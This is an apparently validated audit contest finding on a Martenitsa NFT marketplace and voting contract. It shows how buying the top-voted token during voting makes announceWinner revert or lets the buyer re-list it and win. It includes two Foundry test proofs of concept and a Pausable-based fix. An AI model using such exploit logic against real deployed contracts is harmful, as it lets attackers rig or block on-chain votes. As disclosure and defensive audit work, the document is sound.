Beginner FriendlyFoundryGameFi
100 EXP
View results
Submission Details
Severity: medium
Valid

Malicious user can buy `MartenitsaToken` with highest votes rendering`MartenitsaVoting::announceWinner` to always revert or can "re-list" it to become the winner

Summary

The MartenitsaMarketplace::buyMartenitsa is active during voting which allows malicious user to check the Martenitsatoken with highest number of votes and buy it which makes the MartenitsaVoting::announceWinner to always revert since the MartenitsaToken is not listed anymore or he can re-list it using MartenitsaMarketplace::listMartenitsaForSale to become the winner himself.

Impact

Malicious user can render the MartenitsaVoting::announceWinner to always revert just by buying the MartenitsaToken with highest number of votes or can re-list it to become the winner

Proof of Concept

Note: Import {console} in MartenitsaVoting.t.sol for Poc's to work effortlessly

import {console} from "forge-std/Test.sol";

  1. Malicious user can buy the competition Martenitsatoken with highest votes to disrupt MartenitsaVoting::announceWinner

PoC: Can Buy Competitions Tokens Disrupt Announce Winner
function testCanBuyCompetitionsTokensDisruptAnnounceWinner() public startVoting {
vm.deal(jack, 1 wei);
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
marketplace.listMartenitsaForSale(0, 1 wei);
martenitsaToken.approve(address(marketplace), 0);
vm.stopPrank();
vm.startPrank(chasy);
martenitsaToken.createMartenitsa("bracelet");
marketplace.listMartenitsaForSale(1, 1 wei);
martenitsaToken.approve(address(marketplace), 1);
vm.stopPrank();
vm.prank(bob);
voting.voteForMartenitsa(1);
vm.prank(address(1));
voting.voteForMartenitsa(1);
// now malicious jack knowing that chasy is gonna win buys chasys martenitsaToken
vm.prank(jack);
marketplace.buyMartenitsa{value: 1 wei}(1);
// chasy cannot vote now to her own token
vm.prank(chasy);
vm.expectRevert();
voting.voteForMartenitsa(1);
vm.warp(block.timestamp + 1 days);
// announce winner always reverts
address owner = address(0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496);
vm.prank(owner);
vm.expectRevert();
voting.announceWinner();
}
  1. Malicious user can buy the MartenitsaToken with highest votes and re-list using MartenitsaMarketplace::listMartenitsaForSale to become the winner himself.

PoC: Can Buy Highest Voted Token And ReList It To Win
function testCanBuyHighestVotedTokenAndReListItToWin() public startVoting {
vm.deal(jack, 1 wei);
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
marketplace.listMartenitsaForSale(0, 1 wei);
martenitsaToken.approve(address(marketplace), 0);
vm.stopPrank();
vm.startPrank(chasy);
martenitsaToken.createMartenitsa("bracelet");
marketplace.listMartenitsaForSale(1, 1 wei);
martenitsaToken.approve(address(marketplace), 1);
vm.stopPrank();
vm.prank(bob);
voting.voteForMartenitsa(1);
vm.prank(address(1));
voting.voteForMartenitsa(1);
// now malicious jack knowing that chasy is gonna win buys chasys martenitsaToken and relists it taking over all votes
vm.startPrank(jack);
marketplace.buyMartenitsa{value: 1 wei}(1);
marketplace.listMartenitsaForSale(1, 1 wei);
vm.stopPrank();
// chasy votes now thinking its her own token but its jacks token
vm.prank(chasy);
voting.voteForMartenitsa(1);
vm.warp(block.timestamp + 1 days);
// announce winner always reverts
address owner = address(0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496);
vm.prank(owner);
voting.announceWinner();
}

Recommendations

The issue can be mitigated by using OpenzeppelinsPausable contract module and Pausing the MartenitsaMarketplace::buyMartenitsa function from the start of voting period to the time until the winner is announced.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Unable to receive reward

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.